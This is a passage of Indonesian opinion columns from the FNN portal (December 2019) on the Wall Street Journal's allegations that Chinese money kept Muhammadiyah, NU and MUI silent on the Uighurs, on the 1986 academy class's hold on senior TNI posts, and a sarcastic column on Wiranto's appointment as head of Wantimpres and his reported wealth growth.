tinggal di Jakarta. Dia menjadi koresponden freelance untuk sejumlah media yang sangat prestisius New York Times, Washington Post, dan Financial Times. WSJ adalah jaringan media sangat tua dan berpengaruh di AS. Didirikan pada 8 Juli 1889 di New York. Usia WSJ bahkan lebih tua dibanding Muhammadiyah yang didirikan pada 18 November 1912 di Jogjakarta. Pada masa jayanya, WSJ pernah menjadi koran terbesar di AS dengan oplah harian 2,6 juta eksemplar (2005). WSJ juga menerbitkan edisi Asia dan Eropa. WSJ dikenal dengan tradisi jurnalistik yang sangat kuat. Pilihan editorialnya cukup konservatif dan prudent. Pemerintah China melalui Duta Besarnya di Jakarta sudah membantah keras tudingan itu. Secara terbuka dia menuding berita tersebut sebagai operasi media oleh pemerintah AS, sebagai bagian dari Perang Dagang kedua negara. Artinya pemerintah China secara tidak langsung menuding WSJ digunakan oleh pemerintah AS, sebagai operasi intelijen terbuka dalam pembentukan opini dunia. Sejauh ini pemerintah AS masih bungkam. Hersubeno Arief menyebut, lepas dari perseteruan WSJ dengan ormas Islam di Indonesia, kisruh ini jelas merupakan imbas Perang Dagang dan perebutan supremasi global antara China dan AS. Dalam pembentukan opini dunia, China kalah jauh dibandingkan AS. China disebut babak belur di Hongkong. Mereka tampaknya benar-benar waspada dan mengantisipasi jangan sampai isu Muslim Uighur berkembang menjadi bola liar yang panas. Apalagi kemudian menjadi Hongkong berikutnya (the next Hongkong). Yang jelas, “medan perang” antara WSJ versus Ormas Islam itu kini beralih ke Indonesia. Jangan-jangan ini adalah bagian dari contra attack yang berhasil dilakukan China atas WSJ. China tidak perlu repot-repot lagi menghadapi WSJ. Cukup dihadapi ormas Islam. Undangan kepada sejumlah ormas Islam, akademisi, wartawan dari Indonesia, dan Malaysia yang dilaksanakan Februari 2019, tampaknya merupakan upaya China memperbaiki citranya dan memenangkan opini dunia soal muslim Uighur. Hersubeno Arief menilai, pemberitaan WSJ memberi pukulan telak dan menghancurkan upaya public relation dan pembentukan opini, yang susah payah dibangun China di negara-negara dengan mayoritas beragama Islam. Ormas Islam di Indonesia terkena dampak dari pertarungan dua negara adidaya itu. Apalagi isu Cihna di Indonesia sangat sensitif. Baik berkaitan dengan dominasi ekonomi minoritas China di dalam negeri, maupun serbuan investasi China daratan di Indonesia. Makanya, tidak heran jika Presiden Jokowi tampak sangat hati-hati menyikapi isu ini. Bila salah dalam mengambil posisi, bisa menjadi musuh salah satu negara adidaya. Sikap AMI Ustadz Azzam Mujahid Izzulhaq (AMI) ternyata sudah pernah berkunjung ke Uighur, sebelum "delagasi" Ormas Islam diundang oleh Pemerintah China. Bahkan, Ustadz Azzam telah pula bicara soal Uighur dalam forum internasional. Berikut catatannya. Silakan kalian yang di sana sibuk saling bantah mengenai 'uang tutup mulut' yang telah dibuka oleh The Wall Street Journal. Lagian, sudah hampir satu tahun pasca kunjungan undangan itu kenyataannya kalian memang diam kok. Beragam progam donasi dan beasiswa dari pemerintah China untuk kalian pun sudah kalian terima, bukan? Akui saja. Tenang, saya tidak akan iri. Saya pun juga sudah satu tahun setelah saya lebih dahulu dari kalian menginjakkan kaki menembus negeri misterius di Xinjiang, China, saya tidak tinggal diam. Bahkan, kalian diundang justru untuk meng-counter karena berbagai pernyataan saya di forum dan media internasional. Kenapa demikian? Karena satu hal saja: tidak ada satu pun yang bisa membeli saya. Saya sudah kaya. Uang banyak kebutuhan tidak ada. Oh ya, jawaban kalian tentang Muslim Uyghur kenapa SELALU satu suara ya? Bahkan satu nada dengan isu yang dikembangkan di tanah air kita: RADIKAL. Tidak adakah tangga nada lain? Atau memang itu adalah arahan 'komposer' dan 'produser' agar paduan suara terdengar kompak berirama? Tapi ya terserah! Tak penting pernyataan kalian. Bagi saya, mengembalikan hak-hak Muslim Uyghur untuk kembali bebas beribadah menjalankan agama dan keyakinannya (dan juga agama lainnya) adalah yang utama. Karena, itu yang mereka titipkan jeritannya kepada saya secara langsung. Mereka tidak menitipkan keinginan untuk berlepas diri dari China. Mereka tidak ingin menjadi pemberontak bagi China. Mereka cuma ingin sholat, ingin ke masjid, ingin menutup aurat, ingin membaca Al Quran. Oleh sebab itulah saya ada. Saya bersama mereka. Apa pun resikonya. Di tangan saya adalah Mushaf Al Quran dengan terjemahan Bahasa Uyghur yang akan dihadiahkan untuk saudara Muslim Uyghur untuk memenuhi hak dasar kebutuhan beragama mereka. Terkait dengan polemik dan tudingan SWJ, sekarang ini kembalikan ke masing-masing pribadi. Percaya SWJ, ormas Islam yang bungkam, atau Ustadz Azzam? Penulis Wartawan Senior

Dominasi 1986 dan Langkah Cegah Nepotisme Militer

Oleh Selamat Ginting Jakarta, FNN - Dominasi abituren Akademi TNI 1986 menjadi ciri pola kepemimpinan Marsekal Hadi Tjahjanto. Mengapa muncul kekhawatiran pola tersebut akan menjadi nepotisme dalam tubuh militer? Berawal dari Surat Keputusan Panglima TNI Nomor Kep/1055/IX/2019, tertanggal 24 September 2019. Panglima TNI Marsekal Hadi Tjahjanto melakukan mutasi dan promosi jabatan Perwira Tinggi (Pati) TNI. Dalam keputusan tersebut, Panglima TNI menunjuk tiga Pati untuk memimpin Komando Gabungan Wilayah Pertahanan (Kogabwilhan). Jabatan untuk Pati bintang tiga (letnan jenderal/letjen, laksamana madya/laksdya, marsekal madya/marsdya). Ketiga Pati tersebut adalah Laksda Yudo Margono, Marsda Fadjar Prasetyo, dan Mayjen Ganip Warsito. Masing-masing sebagai Panglima Kogabwilhan I, II, dan III. Ketiganya mendapatkan promosi bintang tiga. Yudo maupun Fadjar, sama-sama lulusan 1988. Yudo lulusan AAL 1988-A (pola pendidikan empat tahun: masuk 1984, keluar 1988). Sedangkan Fadjar lulusan AAU 1988-B (pola pendidikan tiga tahun: masuk 1985, keluar 1988). Mereka mendapatkan promosi bintang tiga pertama kali bagi Abituren (lulusan sekolah militer) Akademi TNI 1988. Di luar dugaan, untuk Pati dari Angkatan Darat. Ternyata bukan lulusan 1988 maupun 1987, melainkan 1966. Ya, Ganip lebih senior, lulusan Akmil 1986. Satu angkatan kelulusan dengan Panglima TNI Marsekal Hadi, AAU 1986. Ganip sebelumnya sebagai asisten operasi (asops) panglima TNI. Dengan promosi jabatan itu, ia harus menanggalkan jabatan Asops panglima TNI. Dalam keputusan dengan nomor yang sama. Jabatan Asops Panglima TNI diserahkakan kepada Mayjen Tiopan Aritonang. Tiopan juga sama-sama lulusan Akmil 1986. Ada pun jabatan Tiopan sebelumnya adalah Panglima Kodam Merdeka di Manado, Sulawesi Utara. Namun dalam surat keputusan panglima TNI tersebut, belum ada pengganti jabatan panglima Kodam Merdeka. Kini, hampir tiga bulan jabatan Asops Panglima TNI dan Pangdam Merdeka dibiarkan mengambang. Tiopan belum menyerahkan tongkat komando kepada Kepala Staf Angkatan Darat (KSAD) Jenderal Andika Perkasa. Mengapa? Karena belum ada penggantinya. Apakah wilayah Kodam Merdeka, yang terdiri dari tiga provinsi: Sulawesi Utara, Gorontalo, dan Sulawesi Tengah, tidak begitu penting untuk diisi oleh seorang Panglima Kodam? Padahal, Kodam Merdeka wilayahnya antara lain berbatasan dengan negara tetangga, Filipina. Jika tidak penting, untuk apa dibentuk Kodam Merdeka yang merupakan pemekaran dari Kodam Hasanuddin? Kodam Hasanuddin sebelumnya bernama Kodam Wirabuana. Apakah jabatan Asops Panglima TNI juga bisa dikosongkan untuk waktu yang cukup panjang? Bagaimana pengendalian operasi pasukan TNI? Saat Panglima TNI Hadi Tjahjanto mendampingi Presiden Jokowi mengunjungi Papua pada 28-29 Oktober 2019 lalu, Ganip Warsito masih dalam posisi sebagai Asops Panglima TNI. Kasus tersebut memperlihatkan bagaimana lemahnya perencanaan penempatan personel oleh pimpinan TNI. Sekaligus mengabaikan rantai komando organisasi pada level panglima komando utama strategis. Dari kasus ini patut diduga ada ketidak harmonisan antara pimpinan Mabes TNI dengan Mabesad. Ada deadlock dalam mutasi dan promosi perwira tinggi TNI. Patut diduga ada gesekan yang keras dalam siding dewan jabatan dan kepangkatan tinggi, antara pimpinan Mabes TNI dengan Mabesad. Sampai kapan mau dibiarkan seperti ini? Kasus ini bukan cuma merugikan organisasi TNI saja. Tetapi juga merugikan rakyat sebagai pemilik sah negeri ini. Rakyat yang membiayai TNI untuk mengawal kedaulatan negeri. Akademi 1986 Masih hangat mutasi sebelumnya, juga untuk abituren Akmil 1986. Antara lain, Sesmenko Polhukam diberikan kepada Tri Soewandono, melalui keputusan panglima TNI pada pertengahan September 2019 lalu. Artinya Tri Soewandono berhak mendapatkan kenaikan pangkat menjadi letjen. Ia menggantikan Letjen Agus Surya Bakti yang pensiun September 2019 lalu. Sebenarnya ada bintang tiga aktif yang belum mendapatkan jabatan. Dia adalah Letjen Dodik Wijanarko, Akmil 1985. Bekas Komandan Puspom TNI itu, kini diparkir untuk waktu yang cukup lama. Hanya sebagai staf khusus panglima TNI, sejak Maret 2018. Ini yang disebut jenderal bintang tiga, tetapi ‘mengganggur’, hampir dua tahun, lantaran tidak diberikan jabatan. Sebelumnya pula ketika dibentuk Komando Operasi Khusus (Koopssus) TNI pada Juni 2019. Lagi-lagi posisi itu diberikan kepada abituren Akmil 1986, Mayjen Rochadi. Rochadi resmi menjadi Komandan Koopssus TNI pada Juli 2019 lalu. Sebelumnya, lulusan terbaik Akmil 1986, Letjen (Purn) Hinsa Siburian, juga menduduki posisi strategis setingkat menteri, yakni Kepala Badan Siber dan Sandi Negara (BSSN). Hinsa merupakan lulusan Akmil 1986 pertama yang meraih pangkat letjen. Kini ada enam letjen aktif lulusan Akmil 1986. Mereka adalah Letjen Tatang Sulaiman (Wakil KSAD), Letjen Joni Supriyanto (kasum TNI), Letjen Besar Harto Karyawan (pangkostrad), Letjen Ganip Warsito (pangkogabwilhan III TNI), dan Letjen Tri Soewandono (sesmenko polhukam). Total ada tujuh orang yang berhasil menjadi Letjen. Untuk jabatan strategis, seperti panglima Kodam, abituren Akmil 1986 dan 1987 sama-sama menduduki empat jabatan pangdam. Abituren 1985 masih menyisakan satu pangdam (Kodam Hasanuddin). Abituren Akmil 1989 diwakili satu orang (kodam Jayakarta). Sedangkan abituren 1988 tujuh orang, terdiri dari 1988-A tiga orang dan 1988-B dua orang. Sementara panglima divisi infanteri (Divif) Kostrad untuk abituren 1988 dan 1989. Panglima Divif 1 Kostrad, Mayjen Agus Rohman (Akmil 1988-A). Panglima Divif 2 Kostrad, Mayjen Tri Yunianto (Akmil 1989). Panglima Divif 3 Kostrad, Mayjen Ahmad Marzuki (Akmil 1989). Di luar 1986 Bagaimana dengan lulusan Akademi di luar 1986? Abituren Akmil 1985 hanya empat orang yang menjadi letjen. Mereka adalah; Letjen (Purn) Edy Rahmayadi (mantan Pangkostrad, kini Gubernur Sumatra Utara), Letjen Doni Monardo Kepala Badan Nasional Penanggulangan Bencana (BNPB), Letjen Tri Legiono Suko (Rektor Unhan), dan Letjen Dodik Wiajanarko (nonjob/staf khusus panglima TNI). Kemudian Akmil 1987, ada Jenderal Andika Perkasa yang menjadi KSAD. Ada pula Letjen M. Herindra (Irjen TNI), dan Letjen AM Putranto (Komandan Kodiklatad). Terbaru, berdasarkan surat keputusan panglima TNI, Nomor Kep/1351/XI/2019, tertanggal 26 November 2019. Mayjen Ida Bagus Purwalaksana dipromosikan dari Dirjen Kekuatan Pertahanan Kemhan menjadi Irjen Kemhan. Dengan promosi itu, maka dalam waktu dekat IB Purwalaksana akan mendapatkan promosi kenaikan pangkat menjadi letjen. Purwalaksana merupakan anak dari mendiang Letjen (Purn) IB Sujana, mantan Kasum ABRI dan Sekjen Dephankam. Juga pernah menjadi menteri pertambangan dan energi era Presiden Soeharto. Dengan kenaikan pangkat IB Purwalaksana, maka ada empat orang Abituren Akmil 1987 yang berhasil menjadi bintang tiga ke atas. Sedangkan Abituren Akmil 1988-A maupun 1988-B, belum ada yang berhasil menjadi bintang tiga. TNI AL Seimbang Berbeda dengan Angkatan Laut, ada Laksdya lulusan AAL 1988-A, yakni Laksdya Yudo Margono (Pangkogabwilhan I TNI). Sedangkan Angkatan Udara, ada Marsdya lulusan AAU 1988-B, yakni Marsdya Fadjar Prasetyo (Pangkogabwilhan II TNI). Di Angkatan Laut, relatif seimbang pembagian jabatan bintang tiga. Abituren AAL 1984 Laksdya Achmad Djamaludin (Sekjen Wantannas). AAL 1985, Laksamana Siwi Sukma Adji (KSAL), Laksdya Agus Setiadji (Sekjen Kementerian Pertahanan). AAL 1986 Laksdya Mintoro Yulianto (wakil KSAL). AAL 1987, Laksdya Aan Kurnia (Danjen Akademi TNI). Serta 1988-A, Laksdya Yudo Margono (Pangkogabwilhan I TNI). AAL 1988-B, belum ada yang meraih bintang tiga. Untuk jabatan strategis seperti Panglima Armada diberikan kepada tiga Abituren berbeda. Panglima Armada 1, Laksda Muhammad Ali (AAL 1989). Panglima Armada II, Laksda Heru Kusmanto (AAL 1988-B). Panglima Armada III, Laksda I Nyoman Gede Ariawan (AAL 1986). TNI AU 1986 Dominasi lulusan 1986, begitu terlihat di Angkatan Udara. Ada empat Marsekal yang berhasil menempati posisi bintang tiga ke atas. Mereka adalah Marsekal Hadi Tjahjanto (Panglima TNI), Marsekal Yuyu Sutisna (KSAU), Marsdya Wieko Syofyan (Wagub Lemhannas), dan Marsdya Fahru Zaini Isnanto (Wakil KSAU). Abituren AAU 1984, masih tersisa Marsdya Bagus Puruhito (Kepala Badan Nasional Pencarian dan Pertolongan (BNPP). Sebelumnya disebut Basarnas). AAU 1985 diwakili Marsdya Dedy Permadi (Komandan Sesko TNI). Namun, tidak ada satu pun dari lulusan AAU 1987 yang menempati jabatan bintang tiga. Setelah itu lulusan AAU 1988-B, yakni Marsdya Fadjar Prasetyo (Pangkogabwilhan II TNI). Sedangkan jabatan Pangkotama dibagi tuntuk tiga Abituren berbeda. Panglima Koopsau 1, Marsda M Khairil Lubis (AAU 1990). Panglima Koopsau 2, Marsda Donny Ermawan Taufanto (AAU 1988-A). Panglima Koopsau 3, Marsda Andyawan Martono (AAU 1989). Polisi malah jauh meninggalkan TNI. Kepala Polri Janderal Idham Aziz, lulusan Akpol 1988-A. Wakil Kepala BSSN Komjen Dharma Pongrekun, juga lulusan Akpol 1988-A. Bahkan Kabaharkam Polri yang akan menjadi Ketua KPK, Komjen Firli Bahuri, lulusan Akpol 1990. Cegah Nepotisme Kuatnya dominasi Marsekal Hadi dalam penempatan personel jabatan pati TNI diharapkan tidak menimbulkan nepotisme dalam tubuh militer. Kata nepotisme berasal dari bahasa Latin, nepos. Secara istilah berarti mendahulukan anggota keluarga atau kawan dalam memberikan pekerjaan maupun pemberian hak istimewa (Chambers Murray Latin-English Dictionary, 1983). Menurut Kamus Besar Bahasa Indonesia, nepotisme dapat berarti perilaku yang memperlihatkan kesukaan yang berlebihan kepada kerabat dekat. Terutama dalam jabatan, pangkat di lingkungan pemerintah. Dampaknya, tentu saja akan merugikan organisasi dan merusak sendi-sendi kebersamaan. Nepotisme hanya menguntungkan mereka yang memiliki akses seperti adanya hubungan kekerabatan, pertemanan dengan pengambil keputusan. Yang menjadi persoalan, jika tindakan nepotisme dikaitkan dengan pemberian posisi atau jabatan tertentu kepada orang yang mempunyai hubungan kekerabatan tanpa memperdulikan unsur-unsur seperti unsur keahlian atau kemampuan yang dimiliki. Semoga kekhawatiran itu tidak terjadi pada organisasi TNI yang kini dipimpin marsekal berkumis hitam dan tebal. Hitam dan tebal justru harus menjadi kunci bagi Hadi harus meninggalkan jejak professional. Bukan sebaliknya jejak nepoitisme bagi lulusan Akademi TNI 1986. Catatan. Tulisan ini telah dibaca di Harian Republika dan Republika Online edisi 16 Desember 2019. Namun belakangan linknya tidak lagi dapat diakses di Republika Online. Tulisan dimuat di Portal Berita Online FNN dengan lebih dulu mendapat persetujuan dari penulis. Penulis adalah Wartawan Senior

Muhammadiyah vs The Wall Street Journal. Siapa Yang Berbohong?

Lepas dari perseteruan WSJ dengan ormas Islam di Indonesia, kisruh ini jelas merupakan imbas Perang Dagang dan perebutan supremasi global antara Cina dan AS. Dalam pembentukan opini dunia, Cina kalah jauh dibandingkan AS. Cina babak belur di Hongkong. Mereka tampaknya benar-benar waspada dan mengantisipasi jangan sampai isu muslim Uighur berkembang menjadi bola liar yang panas. Apalagi kemudian menjadi Hongkong berikutnya ( the next Hongkong). Oleh Hersubeno Arief Jakarta, FNN - Tuduhan laman The Wall Steet Journal (WSJ) bahwa sejumlah Ormas Islam Indonesia dan MUI disuap pemerintah Cina memasuki babak yang menarik. Pengurus Pusat (PP) Muhammadiyah menuntut WSJ untuk segera minta maaf. Tidak menutup kemungkinan mereka akan menempuh jalur hukum. Tak tanggung-tanggung Ketua Umum PP Muhammadiyah Haedar Nashir turun tangan langsung. Bersama sejumlah pimpinan teras Muhammadiyah Senin (16/12) dia menggelar jumpa pers. Termasuk Ketua Biro Hubungan Luar Negeri dan Kerja Sama Internasional PP Muhammadiyah Muhyidin Junaidi yang ikut berkunjung ke Xinjiang. Bagi Muhammadiyah tudingan bahwa mereka mendapat gelontoran dana agar diam dalam kasus penindasan muslim Uighur, memang cukup serius. Bila tidak disikapi, apalagi bila tudingan tersebut terbukti, implikasiya sangat serius. Ini menyangkut marwah, kredibilitas dan reputasi Muhammadiyah sebagai salah satu ormas terbesar, dan tertua di Indonesia. Waktu yang akan membuktikan apakah Muhammadiyah yang benar, atau WSJ. Sama-sama kredibel Dari sisi kredibilitas, kedua lembaga sama-sama mentereng dan tak kalah keren. Muhammadiyah adalah ormas Islam terkaya di Indonesia. Mereka memiliki lembaga pendidikan sejak TK sampai perguruan tinggi. Tahun 2015 tercatat mereka memiliki 7.651 sekolah dan madrasah, dan 174 universitas, sekolah tinggi, institut, dan akademi. Di bidang pelayanan kesehatan dan kesejahteraan masyarakat terdapat rumah sakit 457, panti asuhan 318 buah, panti jompo 54 buah, dan rehabilitasi cacat 82 buah. Mereka juga memiliki sejumlah BMT, mini market dan koperasi. Dana likuid yang tersimpan di rekening mereka tercatat sebesar Rp 15 triliun (2014). Jadi tudingan mereka mendapat gelontoran dana dari pemerintah Cina, alias sogokan agar bungkam, sangat merendahkan. WSJ adalah jaringan media sangat tua dan berpengaruh di AS. Didirikan pada 8 Juli 1889 di New York. Usia WSJ bahkan lebih tua dibanding Muhammadiyah yang didirikan di Yogyakarta 18 November 1912. Pada masa jayanya, WSJ pernah menjadi koran terbesar di AS dengan oplah harian 2,6 juta eksemplar (2005). WSJ juga menerbitkan edisi Asia dan Eropa. WSJ dikenal dengan tradisi jurnalistik yang sangat kuat. Pilihan editorialnya cukup konservatif dan prudent. Bukan tipikal media yang bombastis seperti saingan utamanya, USA Today. Tudingan WSJ terhadap Muhammadiyah, NU dan Majelis Ulama Indonesia (MUI) muncul pada laman WSJ edisi Rabu (11/12). Melalui artikel berjudul How China Persuaded One Muslim to Keep Silent on Xinjiang Camps, WSJ menyebut Muhammadiyah, NU, dan MUI mendapat gelontoran dana dari pemerintah Cina sehingga bungkam dan sikapnya berubah terhadap muslim Uighur. Penulis artikel ini adalah Jonathan (Jon) Emont koresponden WSJ yang berbasis di Hongkong. Dia banyak menulis soal Uighur dan Rohingya. Sebelum bergabung dengan WSJ, wartawan yang fasih berbahasa Indonesia ini pernah tinggal di Jakarta. Dia menjadi koresponden freelance untuk sejumlah media yang sangat prestisius New York Times, Washington Post dan Finacial Times. Pemerintah Cina melalui Duta Besar RI di Jakarta sudah membantah keras tudingan itu. Secara terbuka dia menuding berita tersebut sebagai operasi media oleh pemerintah AS, sebagai bagian dari Perang Dagang kedua negara. Artinya pemerintah Cina secara tidak langsung menuding WSJ digunakan oleh pemerintah AS, sebagai operasi intelijen terbuka dalam pembentukan publik opini dunia. Sejauh ini pemerintah AS masih bungkam. Namun seperti diakui oleh Muhyidin, Kedubes AS di Jakarta sudah mengundang mereka untuk bertemu. Undangan itu ditolak karena Muhammadiyah ingin pertemuan berlangsung di tempat netral. Bukan di Kedubes AS. Perang proxy Lepas dari perseteruan WSJ dengan ormas Islam di Indonesia, kisruh ini jelas merupakan imbas Perang Dagang dan perebutan supremasi global antara Cina dan AS. Dalam pembentukan opini dunia, Cina kalah jauh dibandingkan AS. Cina babak belur di Hongkong. Mereka tampaknya benar-benar waspada dan mengantisipasi jangan sampai isu muslim Uighur berkembang menjadi bola liar yang panas. Apalagi kemudian menjadi Hongkong berikutnya ( the next Hongkong). Undangan kepada sejumlah ormas Islam, akademisi, wartawan dari Indonesia dan Malaysia yang dilaksanakan Februari lalu, tampaknya merupakan upaya Cina memperbaiki citranya dan memenangkan opini dunia soal muslim Uighur. Pemberitaan WSJ memberi pukulan telak dan menghancurkan upaya public relation dan pembentukan opini, yang susah payah dibangun Cina di negara-negara dengan mayoritas beragama Islam. Ormas Islam Indonesia terkena dampak dari pertarungan dua negara adidaya itu. Apalagi isu Cina di Indonesia sangat sensitif. Baik berkaitan dengan dominasi ekonomi minoritas Cina di dalam negeri, maupun serbuan investasi Cina daratan di Indonesia. Pemerintah Indonesia tampaknya sangat berhati-hati menyikapi isu ini. Bila salah dalam mengambil posisi, bisa menjadi musuh salah satu negara adidaya. Bagaimana kelanjutan perseteruan Muhammadiyah dan WSJ? Kita masih harus menunggu perkembangan selanjutnya. Media Barat tak selamanya benar. Dalam kasus Asia Sentinel, media berbasis di Hongkong ini terpaksa mencabut beritanya dan meminta maaf secara terbuka kepada mantan Presiden Susilo Bambang Yudhoyono dan Partai Demokrat. Sebelumnya Asia Sentinel menurunkan artikel yang mengaitkan pemerintahan SBY dengan skandal Bank Century. Apakah WSJ akan bernasib sama dengan Asia Sentinel, atau mereka bisa membuktikan tuduhannya? Kredibilitas WSJ sebagai media besar dan berpengaruh dipertaruhkan. End Penulis adalah Wartawan Senior

Dijadikan Ketua Watimpres, Jokowi Istimewakan Wiranto?

Oleh Mochamad Toha Jakarta, FNN - Pada 10 Oktober 2019 sekitar pukul 11.50 WIB, Menko Polhukam Wiranto ditusuk dengan senjata tajam oleh seorang pria di Alun-alun Menes, Pandeglang, Banten. Akibatnya, mantan Panglima ABRI era Orde Baru mengalami luka tusuk di tubuh bagian depan. Demikian hampir semua media arus utama memberitakan soal penusukan tersebut. Selain Wiranto, penyerangan itu membuat Kapolsek Menes Kompol Dariyanto yang ada di lokasi terluka. Anak buah Wiranto juga terluka akibat serangan itu. Tersangka atas nama Syahril Alamsyah alias Abu Rara, kelahiran Medan, 24 Agustus 1968, dan seorang wanita yang diduga bersama pelaku, atas nama Fitri Andriana, kelahiran Brebes, 5 Mei 1998 ini berhasil diamankan. Karo Penmas Mabes Polri Brigadir Jenderal Dedi Prasetyo saat itu mengatakan, kedua pelaku penyerangan itu, diduga terpapar paham radikal ISIS dan pascainsiden, Wiranto dilarikan ke rumah sakit terdekat untuk pertolongan pertama dan dirujuk ke RSPAD Gatot Soebroto. Sayangnya, hingga kini sudah tidak ada kabar soal proses hukum atas penusuk Wiranto itu. Tampaknya aparat penegak hukum menganggap tidak begitu penting lagi menindaklanjuti peristiwa yang “menghebohkan” tersebut. Apalagi, ternyata Presiden Joko Widodo masih membutuhkan “nasehat” dari mantan Menko Polhukam yang pernah membantu dalam periode pertama pemerintahannya bersama Wapres Jusuf Kalla (2014-2019) itu. Pengorbanan Wiranto yang nyawanya nyaris terenggut itu membuahkan hasil. Ia dihadiahi jabatan sebagai Ketua Dewan Pertimbangan Presiden (Wantimpres) oleh Presiden. Bersama 8 anggota Wantimpres lainnya, Wiranto siap memberi “nasehat” kepada Presiden. Presiden Jokowi telah melantik sembilan anggota Wantimpres di Istana Merdeka pada Jumat (13/12/2019). Mereka berasal dari kalangan politikus, pengusaha, hingga ulama. Berikut ini daftar nama Wantimpres: Sidharto Danusubroto (PDIP), Arifin Panigoro (pengusaha), Agung Laksono (Golkar), Putri Kuswisnu Wardani (pengusaha), Dato Sri Tahir (pengusaha), M Mardiono (PPP/pengusaha), Habib Luthfi bin Yahya (ulama), Soekarwo (mantan Gubernur Jatim), dan Wiranto. Wiranto adalah pensiunan jenderal yang sangat beruntung. Setelah menjabat Panglima ABRI terakhir. Di masanya, 1999, TNI dipisahkan dari Polri sehingga yang ada adalah nomenklatur Panglima TNI. Ketika Reformasi bergulir, Presiden BJ Habibie yang menggantikan Soeharto mendapuknya sekaligus sebagai Menteri Koordinator Politik dan Keamanan. Di masa-masa krusial inilah, ia mengaku memiliki mandat seperti Soeharto saat menerima Supersemar. “Saya selaku panglima ABRI, justru memiliki wewenang itu. Mengapa tidak mengkudeta? Karena saya tidak ingin mengkhianati negeri ini,” kata Wiranto. Setelah pensiun dari militer, Wiranto mencoba berkarier ke dunia politik. Sebelum terjun di dunia politik, Wiranto sempat pula dipercaya oleh Presiden Abdurrahman Wahid sebagai salah satu menterinya. Di awal-awal tahun Reformasi, pada 2004, Wiranto melaju sebagai kandidat presiden dari Golkar berpasangan dengan Salahudin Wahid. Wiranto maju capres setelah memenangkan konvensi capres yang digelar Golkar. Namun pasangan ini kalah dalam Pemilihan Presiden yang dimenangi pasangan Susilo Bambang Yudhoyono – Jusuf Kalla. Kegagalan dalam Pilpres 2004 tidak membuat patah semangat Wiranto, tetapi justru menjadi pemicu naluriWiranto untuk terjun ke dunia politik. Dia kemudian mendirikan partai politik bernama Hanura. Pada pilpres 2009, dia kembali ikut bertarung, tapi sebagai calon wakil presiden berpasangan dengan calon presiden Jusuf Kalla. Hasilnya, dia dikalahkan oleh pasangan SBY – Boediono. Meski demikian, Wiranto tidak gentar dan fokus membesarkan partai politiknya. Pada Pilpres 2014, dia kembali menjadi bakal calon presiden berpasangan dengan bos MNC Group Harry Tanoe. Sayang, kedua pasangan ini berpisah sebelum Pilpres 2014 digelar. Pada Pilpres 2014 ini, ia dan partainya hanya menjadi pengusung calon lain yakni Joko Widodo. Dukungannya membuahkan hasil. Wiranto pun diminta untuk menyodorkan kader-kadernya untuk dipilih Presiden Jokowi menjadi menteri di Kabinet Kerja periode 2014-2019. Ketika reshuffle kabinet dilakukan, Wiranto kembali diangkat menjadi Menko Polhukam. Wiranto memang jenderal gaek yang sangat beruntung. Bayangkan! Setidaknya Wiranto bisa bertahan berada di lingkar kekuasaan sejak akhir Orde Baru, Orde Reformasi, hingga Orde Revolusi Mental pimpinan Presiden Jokowi. Lebih dari 20 tahun Wiranto menjabat! Luar biasa bukan? Namanya juga Wiranto. Wiranto kini sudah menjadi pensiunan jenderal tajir dengan kekayaan mencapai Rp 542 miliar saat dilantik menjadi Ketua Wantimpres, Jum’at (13/12/2019). Wartawan senior Asyari Usman dalam tulisannya di fnn.co.id, Minggu (15/12/2019) berjudul Contohlah Pak Wiranto Dalam Melipatgandakan Kekayaan mencatat, dalam waktu 10 tahun (sejak 2009), kekayaan mantan Menko Polhukam itu bertambah Rp 461 miliar. Pada 2009, saat Wiranto maju sebagai cawapres, harta yang dilaporkan “hanya” Rp 81 miliar. Ketika beberapa hari lalu (13 Desember 2019) dilantik menjadi ketua Dewan Pertimbangan Presiden (Wantimpres), total kekayaan yang dilaporkan Wiranto menjadi Rp 542 miliar. Jadi, dalam waktu 10 tahun, kekayaan mantan Menko Polhukam itu bertambah Rp 461 miliar. Tentu ini luar biasa! Perlu dicontoh cara Wiranto menggelembungkan jumlah kekayaannya. Terutama perlu dicontoh oleh para pejabat yang sedang memegang kekuasaan. “Pastilah banyak yang ingin belajar kiat-kiat beliau dalam mengelola kekayaan,” tulis Bang Asyari Usman. Pertambahan yang begitu besar menunjukkan bahwa Wiranto sangat kreatif mengembangkan kekayaan. Presiden, Menteri Keuangan, Menteri BUMN, dan lain-lain, perlu berkonsultasi ke Wiranto. Ia telah membuktikan kemampuan dalam meningkatkan kekayaan pribadinya. Bayangkan kalau cara Wiranto itu diadopsi ke dalam kebijakan ekonomi dan keuangan negara. “Indonesia tak perlu lagi berutang. Tidak akan pernah defisit. Sebaliknya, kita akan melihat kekayaan Indonesia akan bertambah fantastis,” tulis Bang Asyari Usman. Para ahli keuangan, para dirut BUMN, belum tentu bisa menambah kekayaan sebesar 570% dalam 10 tahun. Wiranto sudah membuktikannya. Bukankah itu artinya Wiranto diam-diam sangat piawai dalam mengelola kekayaan? Padahal, penggelembungan kekayaan Wiranto itu dilakukan di sela-sela kesibukan beliau sebagai pejabat negara. Artinya, beliau tidak serius mencari duit. Bayangkan kalau Wiranto fokus dan serius hari-hari memikirkan pengembangan kekayaan negara ini. Pasti tidak ada lagi rakyat miskin. Kita bisa seperti Swiss atau Finlandia. Semuanya gratis. Perawatan kesehatan gratis total. Tidak perlu bertengkar soal BPJS. Pendidikan gratis sampai selesai perguruan tinggi. “Pengangguran akan mendapat tunjangan, bukan tendangan. Cuti melahirkan menjadi satu atau dua tahun, tidak hanya tiga bulan,” jelasnya. Sangat mengherankan mengapa pemerintah, Presiden, tidak mau menyerahkan pengelolaan perekonomian dan keuangan kepada Wiranto. Beliau ini asli praktisi keduitan. Bukan sekadar berteori seperti Rizal Ramli, Kwik Kian Gie, Faisal Basri, dan sebagainya. Mereka ini cuma bisa memaparkan teori-teori saja. Wiranto tidak perlu teori. Wiranto praktik langsung dalam menumpuk kekayaan. Wiranto tak perlu teori mikro dan makro ekonomi. Wiranto tak perlu “prudence of investment analysis”. Juga tak perlu “new strategy in new business environment”. Pokoknya, tidak perlu analisis atau identifikasi lingkungan bisnis. “Jadi, tunggu apalagi? Pak Wiranto telah membuktikan kapabilitas dan kapasitasnya dalam mengelola kekayaan. Dari Rp 81 miliar menjadi Rp 542 miliar dalam 10 tahun,” tulis Bang Asyari Usman. Bang Asyari Usman yakin bahwa selama ini Presiden menempatkan orang yang bukan ahli di bidang ekonomi dan keuangan di posisi-posisi kunci. Sebagai Ketua Wantimpres 2019-2024, ini kesempatan Pak Jokowi dan para menteri Ekuin untuk menimba ilmu dari Wiranto. Lima tahun ke depan tentu 